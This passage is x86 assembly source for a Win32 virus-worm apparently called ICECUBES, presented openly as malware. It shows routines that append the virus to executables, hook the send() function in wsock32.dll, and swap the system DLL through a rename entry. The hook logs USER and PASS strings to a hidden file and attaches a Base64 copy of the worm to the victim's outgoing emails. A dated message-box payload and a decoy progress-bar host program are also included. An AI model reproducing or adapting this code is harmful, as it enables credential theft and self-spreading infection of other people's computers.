mov [ebp + wnewapiaddress], eax ; new api address
jmp HookDaApi

HookDaApi:
push esi
call HOOK_API
pop esi
CopyVirusToEndOfFile:
pop eax
mov edi, eax
add edi, [ebp + mapaddress] ; mapaddress
add edi, [esi + 14h] ; add raw data offset
lea esi, [ebp + Start] ; copy virus
mov ecx, (Leap-Start)/4 + 4
cld
rep movsd

UpdatePEHeaderWithChanges:
mov esi, [ebp + mapaddress]
mov word ptr [esi + 38h], 'll' ; set infectionmark
mov esi, [ebp + PEheader]
mov eax, [ebp + imagesize]
mov [esi + 50h], eax ; set new imagesize

;--------------------------------[ unmap file ]------------------------------;

UnmapView:
push dword ptr [ebp + mapaddress]
lea eax, [ebp + AUnmapViewOfFile]
call GETAPI

CloseMap:
push dword ptr [ebp + maphandle]
lea eax, [ebp + ACloseHandle]
call GETAPI

push 0
push 0
push dword ptr [ebp + filesize]
push dword ptr [ebp + filehandle]
lea eax, [ebp + ASetFilePointer]
call GETAPI

push dword ptr [ebp + filehandle]


lea eax, [ebp + ASetEndOfFile]
call GETAPI

;--------------------------------[ close file ]------------------------------;

CloseFile:
push dword ptr [ebp + myfinddata.fd_ftLastWriteTime]
push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]
push dword ptr [ebp + myfinddata.fd_ftCreationTime]
push dword ptr [ebp + filehandle]
lea eax, [ebp + ASetFileTime]
call GETAPI

push [ebp + filehandle]


lea eax, [ebp + ACloseHandle]
call GETAPI

InfectionError:
push dword ptr [ebp + myfinddata.fd_dwFileAttributes]
lea eax, [ebp + myfinddata.fd_cFileName]
push eax
lea eax, [ebp + ASetFileAttributes]
call GETAPI
ret

INFECT_FILE endp
;===========================[ ic-hook_api.inc ]=============================;

HOOK_API proc

LoadWSockExportTableData:
mov edi, [ebp + PEheader]
mov esi, dword ptr [edi + 78h] ; rva export table

mov edx, esi ; get RVA


call RVA_TO_RAW
mov esi, ecx
mov eax, dword ptr [esi + 18h]
mov [ebp + numberofnames], eax ; save number of names

push esi
mov eax, dword ptr [esi + 1Ch] ; get ra of table with

mov edx, eax


call RVA_TO_RAW
mov eax, ecx ; pointers to funtion
mov [ebp + addressoffunctions], eax ; addresses

pop esi
push esi
mov eax, dword ptr [esi + 20h] ; get ra of table with

mov edx, eax


call RVA_TO_RAW
mov eax, ecx ; pointers to names
mov [ebp+addressofnames], eax ; of functions

pop esi
push esi

mov eax, dword ptr [esi + 24h] ; get ra of table with


mov edx, eax
call RVA_TO_RAW
mov eax, ecx ; pointers to ordinals
mov [ebp+addressofordinals], eax ; of functions
pop esi

BeginSendAddressSearch:
mov esi, [ebp + addressofnames] ; search for
mov [ebp + AONindex], esi ; API in names
mov edi, [esi] ; table

mov edx, edi


call RVA_TO_RAW
mov edi, ecx
xor ecx, ecx

HookSendApi:
lea ebx, [ebp + ASend]

OkTryAgain:
mov esi, ebx

MatchByteNow:
cmpsb
jne NextOneNow
cmp byte ptr [esi], 0 ; did the entire string
je YesGotIt ; match ?
jmp MatchByteNow

NextOneNow:
inc cx
add dword ptr [ebp + AONindex], 4 ; get next namepointer
mov esi, [ebp + AONindex] ; in table (4 dwords)
mov edi, [esi]

push ebx
push ecx

mov ebx, [ebp + mapaddress]


mov edx, edi
call RVA_TO_RAW
mov edi, ecx

pop ecx
pop ebx
jmp OkTryAgain

YesGotIt:
shl ecx, 1
mov esi, [ebp + addressofordinals] ; ordinal = nameindex *
add esi, ecx ; size of ordinal entry
xor eax, eax ; + ordinal table base
mov ax, word ptr [esi] ; offset of address
shl eax, 2 ; of function = ordinal
mov esi, [ebp + addressoffunctions] ; * size of entry of
add esi, eax ; address table
mov edi, dword ptr [esi] ; get address

SaveNewWsockApiAddress:
mov [ebp + woldapiaddress], edi ; save it

ChangeWsock:
mov eax, dword ptr [ebp + wnewapiaddress] ; new api address
mov dword ptr [esi], eax ; set it
ret

HOOK_API endp

;===========================[ ic-rva_to_raw.inc ]===========================;

RVA_TO_RAW proc

; In: edx - RVA to convert


; Out: ecx - Pointer to RAW data or NULL if error

GetRaw:
mov ebx, [ebp + mapaddress]
mov [ebp + rva2raw], edx

mov esi, dword ptr [ebx + 3ch]


add esi, ebx ; esi=offset peheader
xor ecx, ecx
mov cx, word ptr [esi + 06h] ; ecx = nr. of sections
xor edi, edi
mov di, word ptr [esi + 20d] ; optional header size
add esi, 24d ; file header size
add edi, esi

FindCorrespondingSection:
mov eax, dword ptr [ebp + rva2raw] ; rva we want into raw
mov edx, dword ptr [edi + 12d] ; section RVA
sub eax, edx
cmp eax, dword ptr [edi+08d] ; section size
jb SectionFound

NotThisSection:
add edi, 40d
loop FindCorrespondingSection

EndRawSearch:
ret

SectionFound:
mov ecx, dword ptr [edi+20d] ; pntr to section's raw
sub edx, ecx ; data from beginning
add ecx, eax ; of file
add ecx, ebx
ret

RVA_TO_RAW endp

;=========================[ ic-create_ini_file.inc ]========================;

CREATE_INI_FILE proc

IniGetSetWindowsDir:
call SET_WINDIR

CreateInstallIni:
push 0 ; template handle=0
push 20h ; attributes=any file
push 4 ; type= new file
push 0 ; security option = 0
push 1 ; shared for read
push 80000000h or 40000000h ; generic read write
lea eax, [ebp + inifile]
push eax ; offset file name
lea eax, [ebp + ACreateFile]
call GETAPI
mov [ebp + filehandle], eax

SetIniFilePointerToEnd:
push 02h
push 00h
push 00h
push [ebp + filehandle]
lea eax, [ebp + ASetFilePointer]
call GETAPI
mov dword ptr [ebp + writtensize], 00h

WriteInstallIniLoop:
lea esi, [ebp + inicrlf]
xor ecx, ecx
call StringSize
call Write

lea esi, [ebp + rename] ; write 'rename'


mov word ptr [ebp + writtensize], 0Ah
call Write

lea esi, [ebp + sysdir] ; write systemdir


xor ecx, ecx
call StringSize
call Write

lea esi, [ebp + slashsign] ; write slash


xor ecx, ecx
call StringSize
call Write

WriteWsock32Dll:
lea esi, [ebp + wsock32dll] ; write original dll
xor ecx, ecx
call StringSize
call Write

WriteOn:
lea esi, [ebp + equalsign] ; write original dll
xor ecx, ecx
call StringSize
call Write

lea esi, [ebp + sysdir] ; write systemdir


xor ecx, ecx
call StringSize
call Write

lea esi, [ebp + slashsign] ; write slash


xor ecx, ecx
call StringSize
call Write

WriteInfectedWsock:
lea esi, [ebp + wsock32inf] ; write original dll
xor ecx, ecx
call StringSize
call Write
jmp CloseInstallIni

StringSize:
cmp byte ptr [esi + ecx], 0h
je GotSize
inc ecx
jmp StringSize

GotSize:
mov word ptr [ebp + writtensize], cx
ret

Write:
push 0h
lea eax, [ebp + writtenbytes]
push eax
xor eax, eax
mov ax, word ptr [ebp + writtensize]
push eax
push esi
push dword ptr [ebp + filehandle]
lea eax, [ebp + AWriteFile]
call GETAPI
ret

CloseInstallIni:
lea esi, [ebp + inicrlf] ; write original dll
xor ecx, ecx
call StringSize
call Write

push dword ptr [ebp + filehandle]


lea eax, [ebp + ACloseHandle]
call GETAPI
ret

CREATE_INI_FILE endp

;=========================[ ic-copy_host_file.inc ]=========================;

COPY_HOST_FILE proc

GetCurrentHostPath:
push 100h
lea eax, [ebp + currentdir]
push eax
push 00h
lea eax, [ebp + AGetModuleFileName]
call GETAPI

SetSysDirectory:
call SET_SYSDIR

CopyWormHostFile:
push 00h
lea eax, [ebp + wsock2]
push eax
lea eax, [ebp + currentdir]
push eax
lea eax, [ebp + ACopyFile]
call GETAPI
ret

COPY_HOST_FILE endp

;=========================[ ic-ws_intercept.inc ]===========================;

INTERCEPT_WSOCK proc

InterceptWsockApiCall:
push ebp
call GetDelta

GetDelta:
pop ebp
sub ebp, offset GetDelta
pushad

CheckStatus:
mov eax, [esp+(8*4)+(1*4)+4 + 0] ; get send() socket
mov [ebp + socketh], eax ; save it
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer

pushad
call GET_GETPROCADDRESS_API_ADDRESS
popad

CheckForSecurityInfo:
cmp [esi], 'RESU'
je StoreBufferData
cmp [esi], 'SSAP'
jne DontStore

StoreBufferData:
pushad
call WRITE_TO_FILE
popad

DontStore:
cmp [ebp + status], 00h ; monitoring==true ?
je CheckMailFrom ; yes, we are
cmp [ebp + status], 02h
je CheckRcptTo
cmp [ebp + status], 03h
je CheckMimeFrom
cmp [ebp + status], 05h
je CheckQuit
jmp Continue

CheckMailFrom:
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
cmp [esi], 'LIAM'
jne Continue

StoreMailFromTag:
pushad
call WRITE_TO_FILE
popad

SaveMailFrom:
mov [ebp + fromsize], ecx
push ecx
push esi

push ecx
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI

or eax, eax
jz ErrorWhileSending

pop esi
pop ecx
mov [ebp + fromaddress], eax
mov edi, eax
rep movsb
mov [ebp + status], 02h

CheckRcptTo:
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
cmp [esi], 'TPCR'
jne CheckData

AllocateRcptMemory:
cmp [ebp + rcptnumber], 00h
jne SaveRcptTo

push ecx
push esi

push 500h
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz ErrorWhileSending ; mem for rctp email
mov [ebp + rcpt_buffer_address], eax ; addresses

push 100h
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz ErrorWhileSending ; mem for size of rctp
mov [ebp + rcpt_size_address], eax ; email addresses

pop esi
pop ecx

SaveRcptTo:
push ecx ; store rcpt string
mov edi, [ebp + rcpt_buffer_address]
mov eax, [ebp + totalrcptsize]
add edi, eax
rep movsb
pop ecx

mov edi, [ebp + rcpt_size_address] ; store rcpt string size


mov eax, [ebp + rcptnumber]
mov edx, 04h
mul edx
add edi, eax
mov dword ptr [edi], ecx

mov eax, [ebp + totalrcptsize] ; calculate total size


add eax, ecx ; of rcpts
mov [ebp + totalrcptsize], eax

mov eax, [ebp + rcptnumber] ; calculate number of


add eax, 01h ; rcpt we have
mov [ebp + rcptnumber], eax
jmp Continue

CheckData:
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
cmp [esi], 'ATAD'
jne Continue
mov [ebp + status], 03h

CheckMimeFrom:
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer

MimeFromLoop:
lea edi, [ebp + fromtag]
push ecx
push esi
mov ecx, 05h
rep cmpsb
pop esi
pop ecx
je SearchMimeFromEnd
inc esi
loop MimeFromLoop

CheckMimeTo:
mov esi, [esp+(8*4)+(1*4)+4 + 4]
mov ecx, [esp+(8*4)+(1*4)+4 + 8]

MimeToLoop:
lea edi, [ebp + totag]
push ecx
push esi
mov ecx, 03h
rep cmpsb
pop esi
pop ecx
je SearchMimeToEnd
inc esi
loop MimeToLoop
jmp CheckQuit

SearchMimeFromEnd:
push esi

FromEndLoop:
lea edi, [ebp + mimeendtag]
push ecx
push esi
mov ecx, 01h
rep cmpsb
pop esi
pop ecx
je SaveMimeFrom
inc esi
loop FromEndLoop

pop esi
jmp Continue

SaveMimeFrom:
mov eax, esi
pop esi
sub eax, esi
mov ecx, eax
add ecx, 03h
mov [ebp + mimefromsize], ecx
push esi
push ecx

push ecx
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz MimeError
mov [ebp + mimefrom_address], eax

pop ecx
pop esi
mov edi, eax
rep movsb

mov [ebp + fromstatus], 01h


cmp [ebp + tostatus], 01h
jne CheckMimeTo
mov [ebp + status], 05h
jmp CheckQuit

SearchMimeToEnd:
push esi

ToEndLoop:
lea edi, [ebp + toendtag]
push ecx
push esi
mov ecx, 08h
rep cmpsb
pop esi
pop ecx
je SaveMimeTo
inc esi
loop ToEndLoop

pop esi
jmp Continue

SaveMimeTo:
mov eax, esi
pop esi
sub eax, esi
mov ecx, eax
mov [ebp + mimetosize], ecx
push esi
push ecx

push ecx
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz MimeError
mov [ebp + mimeto_address], eax

pop ecx
pop esi
mov edi, eax
rep movsb

mov [ebp + tostatus], 01h


cmp [ebp + fromstatus], 01h
jne CheckMimeFrom
mov [ebp + status], 05h
jmp CheckQuit

MimeError:
pop ecx
pop esi
mov [ebp + status], 05h

CheckQuit:
mov esi, [esp+(8*4)+(1*4)+4 + 4]
mov ecx, [esp+(8*4)+(1*4)+4 + 8]
cmp [esi], 'TIUQ'
jne Continue

pushad
call SEND_MAIL
popad
jmp InterceptionFinished

ErrorWhileSending:
pop esi
pop ecx

InterceptionFinished:
mov [ebp + status], 00h
mov [ebp + totalrcptsize], 00h
mov [ebp + rcptnumber], 00h
mov [ebp + tostatus], 00h
mov [ebp + fromstatus], 00h
jmp Continue

Continue:
popad
lea eax, [ebp + InterceptWsockApiCall] ; get ep va
sub eax, dword ptr [ebp + wnewapiaddress] ; - ep RVA
add eax, dword ptr [ebp + woldapiaddress] ; = imagebase
pop ebp
jmp eax

INTERCEPT_WSOCK endp

;========================[ ic-ws_attachment.inc ]===========================;

PREPARE_ATTACHMENT proc

SetSysDir:
call SET_SYSDIR

OpenSourceFile:
push 0
push 0
push 3
push 0
push 0
push 80000000h
lea eax, [ebp + wsock2]
push eax
lea eax, [ebp + ACreateFile]
call GETAPI
mov [ebp + filehandle], eax ; save file handle
cmp eax, -1
je NoBase64Encode

GetSourceFileSize:
push 00h
push dword ptr [ebp + filehandle]
lea eax, [ebp + AGetFileSize]
call GETAPI

or eax, eax
jz NoBase64Encode
mov [ebp + filesize], eax ; get file size

AllocateSourceMemory:
add eax, 02h
push eax
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz NoBase64Encode ; not enough memory?
mov [ebp + smHnd], eax ; sourcememory handle

AllocateDestinationMemory:
mov eax, [ebp + filesize]
xor edx, edx
mov ecx, 02h
mul ecx
push eax
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI

or eax, eax
jz NoBase64Encode ; not enough memory?
mov [ebp + dmHnd], eax ; destinationmemory handle

ReadSourceFile:
mov [ebp + bytesread], 00h

push 00h
lea eax, [ebp + bytesread]
push eax
push [ebp + filesize]
push dword ptr [ebp + smHnd]
push dword ptr [ebp + filehandle]
lea eax, [ebp + AReadFile]
call GETAPI

mov eax, dword ptr [ebp + bytesread]


or eax, eax
jz NoBase64Encode ; nothing read ?

CloseSourceFile:
push dword ptr [ebp + filehandle] ; close the file
lea eax, [ebp + ACloseHandle]
call GETAPI

EncodeSourceData:
mov eax, dword ptr [ebp + smHnd]
mov edx, dword ptr [ebp + dmHnd]
mov ecx, dword ptr [ebp + filesize]
call BASE64_ENCODER ; encode into Base64
mov [ebp + encodedsize], ecx

NoBase64Encode:
ret

PREPARE_ATTACHMENT endp

;=========================[ ic-ws_b64encoder.inc ]==========================;

BASE64_ENCODER proc

; in: eax address of data to encode


; edx address to put encoded data
; ecx size of data to encode
;
; out: ecx size of encoded data
;
CheckFileSize:
push eax
push edx
push ecx
mov eax, ecx
xor edx, edx
mov ecx, 03h
div ecx
pop ecx
or edx, edx
jz EncodeBase64

AddTwoBytes:
cmp edx, 01h
jne AddOneByte
add ecx, 02h
jmp EncodeBase64

AddOneByte:
add ecx, 01h

EncodeBase64:
pop edx
pop eax
xor esi, esi
lea edi, [ebp + encTable]
push ebp
xor ebp, ebp

BaseLoop:
xor ebx, ebx
mov bl, byte ptr [eax]
shr bl, 2
and bl, 00111111b
mov bh, byte ptr [edi+ebx]
mov byte ptr [edx+esi], bh
inc esi

mov bx, word ptr [eax]


xchg bl, bh
shr bx, 4
xor bh, bh
and bl, 00111111b
mov bh, byte ptr [edi+ebx]
mov byte ptr [edx+esi], bh
inc esi

inc eax
mov bx,word ptr [eax]
xchg bl, bh
shr bx, 6
xor bh, bh
and bl, 00111111b
mov bh, byte ptr [edi+ebx]
mov byte ptr [edx+esi], bh
inc esi

inc eax
xor ebx, ebx
mov bl, byte ptr [eax]
and bl, 00111111b
mov bh, byte ptr [edi+ebx]
mov byte ptr [edx+esi], bh
inc esi
inc eax

inc ebp
cmp ebp, 24
ja AddEndOfLine
inc ebp

AddedEndOfLine:
sub ecx, 3
or ecx, ecx
jnz BaseLoop

mov word ptr [edx+esi], 0a0dh


add esi, 2
mov ecx, esi
pop ebp
ret

AddEndOfLine:
xor ebp, ebp
mov word ptr [edx+esi], 0a0dh
add esi, 2
jmp AddedEndOfLine

BASE64_ENCODER endp

;=======================[ ic-ws_write_to_file.inc ]=========================;

WRITE_TO_FILE proc

StoreBuffer:
push esi
push ecx

SetEmailDropDir:
call SET_WINDIR

CreateEmailDrop:
push 0 ; template handle=0
push 20h ; attributes=any file
push 04h ; type= existing file
push 0 ; security option = 0
push 1 ; shared for read
push 80000000h or 40000000h ; generic read write
lea eax, [ebp + passwordfile]
push eax ; offset file name
lea eax, [ebp + ACreateFile]
call GETAPI
mov [ebp + filehandle], eax ; save file handle
cmp eax, -1
je BufferError

SetDropPointer:
push 2
push 0
push 0
push dword ptr [ebp + filehandle] ; filehandle
lea eax, [ebp + ASetFilePointer]
call GETAPI

pop ecx
pop esi
WriteBuffer:
push 0h
lea eax, [ebp + writtenbytes]
push eax
push ecx ; push buffersize
push esi ; push offset buffer
push dword ptr [ebp + filehandle]
lea eax, [ebp + AWriteFile]
call GETAPI

CloseBufferFile:
push dword ptr [ebp + filehandle]
lea eax, [ebp + ACloseHandle]
call GETAPI
ret

BufferError:
pop ecx
pop esi
ret

WRITE_TO_FILE endp

;============================[ ic-send_mail.inc ]============================;

SEND_MAIL proc

GetAllApiAddresses:
call GET_WSOCK32_BASE_ADDRESS
call GET_USER32_BASE_ADDRESS
call PREPARE_ATTACHMENT

mov eax, [ebp + filehandle]


cmp eax, -1 ; attachment error
je SendError

AllocateEmailBufferMemory:
mov eax, [ebp + encodedsize]
mov ecx, 02h
mul ecx
push eax
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI

or eax, eax
jz SendError ; mem for email
mov [ebp + email_buffer_address], eax ; buffer

SendMailFromTag:
mov eax, dword ptr [ebp + fromaddress]
mov ecx, dword ptr [ebp + fromsize]
call SendCommand
call ReceiveReply

SendRcptToTags:
xor ecx, ecx
mov [ebp + totalrcptsize], 00h

RcptSendLoop:
push ecx
mov edi, [ebp + rcpt_size_address]
mov eax, ecx
mov edx, 04h
mul edx
add edi, eax
mov ecx, dword ptr [edi]

mov esi, [ebp + rcpt_buffer_address]


mov eax, [ebp + totalrcptsize]
add esi, eax

pushad
mov eax, esi
call SendCommand
call ReceiveReply
popad

add eax, ecx


mov [ebp + totalrcptsize], eax

pop ecx
inc ecx
mov eax, [ebp + rcptnumber]
cmp ecx, eax
jne RcptSendLoop

SendDataCommand:
lea eax, [ebp + datatag]
mov ecx, 06h
call SendCommand
call ReceiveReply

EmailBody_EmailId:
mov [ebp + email_size], 00h
mov edi, [ebp + email_buffer_address]
lea esi, [ebp + emailid]
mov ecx, 21d
add [ebp + email_size], ecx
rep movsb

EmailBody_EmailFrom:
cmp [ebp + fromstatus], 01h
jne EmailBody_MakeEmailFrom

mov esi, [ebp + mimefrom_address]


mov ecx, [ebp + mimefromsize]
add [ebp + email_size], ecx
rep movsb
jmp EmailBody_EmailTo

EmailBody_MakeEmailFrom:
lea esi, [ebp + fromtag]
mov ecx, 05h
add [ebp + email_size], ecx
rep movsb

mov esi, dword ptr [ebp + fromaddress]


add esi, 11d
mov ecx, dword ptr [ebp + fromsize]
sub ecx, 11d
add [ebp + email_size], ecx
rep movsb
EmailBody_EmailTo:
cmp [ebp + tostatus], 01h
jne EmailBody_MakeEmailTo

mov esi, [ebp + mimeto_address]


mov ecx, [ebp + mimetosize]
add [ebp + email_size], ecx
rep movsb
jmp EmailBody_EmailStartPart

EmailBody_MakeEmailTo:
lea esi, [ebp + totag]
mov ecx, 03h
add [ebp + email_size], ecx
rep movsb

xor ecx, ecx


mov [ebp + totalrcptsize], 00h

RcptStringLoop:
push ecx

push edi
mov edi, [ebp + rcpt_size_address]
mov eax, ecx
mov edx, 04h
mul edx
add edi, eax
mov ecx, dword ptr [edi]
pop edi

push ecx
mov esi, [ebp + rcpt_buffer_address]
mov eax, [ebp + totalrcptsize]
add esi, eax
add esi, 08h
sub ecx, 08h
add [ebp + email_size], ecx
rep movsb

pop ecx
add eax, ecx
mov [ebp + totalrcptsize], eax

pop ecx
inc ecx
mov eax, [ebp + rcptnumber]
cmp ecx, eax
jne RcptStringLoop

EmailBody_EmailStartPart:
lea esi, [ebp + emailstart]
mov ecx, emailend-emailstart
add [ebp + email_size], ecx
rep movsb

EmailBody_EmailAttachement:
mov esi, dword ptr [ebp + dmHnd]
mov ecx, [ebp + encodedsize]
add [ebp + email_size], ecx
rep movsb

EmailBody_EmailEndPart:
lea esi, [ebp + emailtail]
mov ecx, 17d
add [ebp + email_size], ecx
rep movsb

EmailBody_EndTag:
lea esi, [ebp + endtag]
mov ecx, 05h
add [ebp + email_size], ecx
rep movsb

SendEmailBody:
mov eax, [ebp + email_buffer_address]
mov ecx, [ebp + email_size]
call SendCommand
call ReceiveReply

MessageBoxDay:
lea eax, [ebp + timedate]
push eax
lea eax, [ebp + AGetSystemTime]
call GETAPI

xor eax, eax


mov ax, word ptr [ebp + timedate.wMonth]
cmp ax, 07h
jne SendError
mov ax, word ptr [ebp + timedate.wDay]
cmp ax, 01h
jne SendError

MessageBoxPayload:
mov eax, 0040h
push eax
lea eax, [ebp + windowtitle]
push eax
lea eax, [ebp + msgmessage]
push eax
push 00h
lea eax, [ebp + AMessageBox]
call GETUAPI

SendError:
ret

;-----------------------------[ send routine ]------------------------------;

SendCommand:
push eax

push 0h
push ecx
push eax
push dword ptr [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI

cmp eax, -1
jne SendWentOk

pop eax
jmp SendCommand
SendWentOk:
pop eax
ret

;--------------------------[ receive routine ]------------------------------;

ReceiveReply:
push LARGE 0
push LARGE 60
lea eax, [ebp + recvbuffer]
push eax
push dword ptr [ebp + socketh]
lea eax, [ebp + ARecv]
call GETWAPI ; call the api

cmp eax, -1
je ReceiveReply
ret

SEND_MAIL endp

;****************************************************************************;

Leap:

.code

OriginalHost:
push 0
call GetModuleHandleA
mov hInst, eax

CreateProgressWindow:
push 00h
push offset MYDIALOG_0
push 00h
push 102
push hInst
call DialogBoxParamA

CreateMainWindow:
push 00h
push offset MYDIALOG_1
push 00h
push 103
push hInst
call DialogBoxParamA

Leave:
push 0
call ExitProcess

;============================[ ic-host_code.inc ]============================;

MYDIALOG_0 proc handle, umsg, wparam, lparam: dword

CheckParameter:
cmp [umsg], WM_INITDIALOG
je CenterDlg
cmp [umsg], WM_DESTROY
je Exit
cmp [umsg], WM_CLOSE
je Exit
cmp flag, 01h
je CreateProgressThread
cmp flag, 02h
je Exit
xor eax, eax
ret

CenterDlg:
push offset dlgrect
push handle
call GetWindowRect
call GetDesktopWindow
push offset desktoprect
push eax
call GetWindowRect

push 00h
mov eax, dlgrect.rcBottom
sub eax, dlgrect.rcTop
mov dlgheight, eax
push eax ; height
mov eax, dlgrect.rcRight
sub eax, dlgrect.rcLeft
mov dlgwidth, eax ; width
push eax
mov eax, desktoprect.rcBottom
sub eax, dlgheight
shr eax, 1
push eax ; bottom
mov eax, desktoprect.rcRight
sub eax, dlgwidth
shr eax, 1
push eax ; top
push handle ; handle
call MoveWindow ; move to center
mov flag, 01h
xor eax, eax
ret

CreateProgressThread:
push offset threadid
push 00h
push handle
push offset PROGRESS
push 00h
push 00h
call CreateThread
mov flag, 00h
xor eax, eax
ret

Exit:
push wparam
push handle
call EndDialog
mov eax, 01h
ret

MYDIALOG_0 endp

MYDIALOG_1 proc handle, umsg, wparam, lparam: dword

CheckParameter1:
cmp [umsg], WM_INITDIALOG
je CenterDlg1
cmp [umsg], WM_DESTROY
je Exit1
cmp [umsg], WM_CLOSE
je Exit1
cmp [umsg], WM_COMMAND
je CheckCommand
cmp [umsg], WM_VSCROLL
je SpinButtonClick
cmp initflag, 01h
je InitValues
xor eax, eax
ret

CheckCommand:
cmp [wparam], 1009
je Exit
cmp [wparam], 1014
je SetOkFlag
xor eax, eax
ret

SpinButtonClick:
xor eax, eax
mov ecx, [wparam]
rol ecx, 16
mov ax, cx

mov ecx, pastvalue


cmp ecx, eax
jge PressedUp

PressedDown:
mov pastvalue, eax
cmp doneflag, 00h
jne Reset
cmp currentvalue, '0'
je DontDecrease
dec byte ptr currentvalue

DontDecrease:
push offset currentvalue
push 00h
push WM_SETTEXT
push 1003
push handle
call SendDlgItemMessageA
mov doneflag, 01h
xor eax, eax
ret

PressedUp:
mov pastvalue, eax
cmp currentvalue, '9'
je Reset
cmp doneflag, 00h
jne Reset
inc byte ptr currentvalue
push offset currentvalue
push 00h
push WM_SETTEXT
push 1003
push handle
call SendDlgItemMessageA
mov doneflag, 01h
xor eax, eax
ret

Reset:
mov doneflag, 00h
xor eax, eax
ret

SetOkFlag:
mov okflag, 01h
jmp Exit

CenterDlg1:
push offset dlgrect
push handle
call GetWindowRect
call GetDesktopWindow
push offset desktoprect
push eax
call GetWindowRect

push 00h
mov eax, dlgrect.rcBottom
sub eax, dlgrect.rcTop
mov dlgheight, eax
push eax ; height
mov eax, dlgrect.rcRight
sub eax, dlgrect.rcLeft
mov dlgwidth, eax ; width
push eax
mov eax, desktoprect.rcBottom
sub eax, dlgheight
shr eax, 1
push eax ; bottom
mov eax, desktoprect.rcRight
sub eax, dlgwidth
shr eax, 1
push eax ; top
push handle ; handle
call MoveWindow ; move to center
mov initflag, 01h
xor eax, eax
ret

InitValues:
mov initflag, 00h
call SendDlgItemMessageA, handle, 1004, CB_RESETCONTENT, 00h,00h
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value11
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value12
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value13
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value14
call SendDlgItemMessageA, handle, 1004, CB_SETCURSEL, 00h, 01h
call SendDlgItemMessageA, handle, 1003, WM_SETTEXT, 00h, offset currentvalue
call SendDlgItemMessageA, handle, 1005, WM_SETTEXT, 00h, offset value3
call SendDlgItemMessageA, handle, 1008, WM_SETTEXT, 00h, offset value4
call SendDlgItemMessageA, handle, 1000, 00F5h, 00h,00h
call SendDlgItemMessageA, handle, 1001, 00F5h, 00h,00h
call SendDlgItemMessageA, handle, 1006, 00F5h, 00h,00h
call SendDlgItemMessageA, handle, 1010, 00F5h, 00h,00h
call SendDlgItemMessageA, handle, 1013, 00F5h, 00h,00h
xor eax, eax
ret

Exit1:
push wparam
push handle
call EndDialog
mov eax, 01h
ret

MYDIALOG_1 endp

PROGRESS proc handle: dword

ClearProgressBar:
push 00h
push 00h
push PBM_SETPOS
push 105
push handle
call SendDlgItemMessageA
xor eax, eax
xor ecx, ecx

LittleLoop:
inc ecx
cmp ecx, 100000h
jne LittleLoop

ProgressLoop:
inc eax
push 00h
push eax
push PBM_SETPOS
push 105
push handle
call SendDlgItemMessageA
xor ecx, ecx
cmp eax, 99d
jne LittleLoop

ProgressDone:
mov flag, 02h
push threadid
call CloseHandle
ret

PROGRESS endp

;============================================================================;

end Start
end
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ICECUBES.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ
LPVOID typedef DWORD ;long ptr to buffer
BOOL typedef DWORD ;boolean variable
HANDLE typedef DWORD ;unspecified handle
LPSTR typedef DWORD ;long ptr to string
LPBYTE typedef DWORD ;long ptr to byte
ACHAR typedef BYTE ;ansi character
CHAR textequ <ACHAR> ;ansi char type
CHAR_ equ 1 ;ansi char size
CREATE_DEFAULT_ERROR_MODE equ 04000000h

SECURITY_ATTRIBUTES_ equ 4+4+4


SECURITY_ATTRIBUTES struct
sa_nLength DWORD SECURITY_ATTRIBUTES_ ;structure size
sa_lpSecurityDescriptor LPVOID 0 ;security descriptor
sa_bInheritHandle BOOL 0 ;handle inheritance flag
SECURITY_ATTRIBUTES ends

PROCESS_INFORMATION struct
pi_hProcess HANDLE 0 ;process handle
pi_hThread HANDLE 0 ;thread handle
pi_dwProcessId DWORD 0 ;process id
pi_dwThreadId DWORD 0 ;thread id
PROCESS_INFORMATION ends
PROCESS_INFORMATION_ equ 4+4+4+4

STARTUPINFO struct
si_cb DWORD 0 ;structure size
si_lpReserved LPSTR 0 ;(reserved)
si_lpDesktop LPSTR 0 ;desktop name
sl_lpTitle LPSTR 0 ;console window title
si_dwX DWORD 0 ;window origin (column)
si_dwY DWORD 0 ;window origin (row)
si_dwXSize DWORD 0 ;window width
si_dwYSize DWORD 0 ;window height
si_dwXCountChars DWORD 0 ;screen buffer width
si_dwYCountChars DWORD 0 ;screen buffer height
si_dwFillAttribute DWORD 0 ;console window initialization
si_dwFlags DWORD 0 ;structure member flags
si_wShowWindow WORD 0 ;ShowWindow() parameter
si_cbReserved2 WORD 0 ;(reserved)
si_lpReserved2 LPBYTE 0 ;(reserved)
si_hStdInput HANDLE 0 ;standard input handle
si_hStdOutput HANDLE 0 ;standard output handle
